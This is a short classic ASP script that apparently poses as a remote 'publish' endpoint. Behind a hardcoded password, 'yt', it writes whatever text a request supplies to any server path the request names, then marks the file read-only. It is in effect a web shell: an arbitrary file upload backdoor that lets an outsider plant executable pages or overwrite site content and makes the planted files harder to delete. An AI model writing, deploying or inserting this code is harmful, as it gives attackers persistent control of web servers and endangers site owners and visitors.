<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
if request("password") <> "yt" Then
    response.write("password error")
    response.end()
end if

if request("action") = "test" Then
    response.write("test success")
    response.end()
end if

Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Open
.Charset = "utf-8"
.Position = objStream.Size
.WriteText = request("body")
.SaveToFile server.mappath(request("filename")),2
.Close
End With
Set objStream = Nothing

set fs=Server.CreateObject("Scripting.FileSystemObject")
if fs.fileexists(server.mappath(request("filename"))) then 
  set f=fs.GetFile(server.mappath(request("filename")))
  f.attributes=1
end if
set f=nothing
set fs=nothing

response.write("publish success")
%>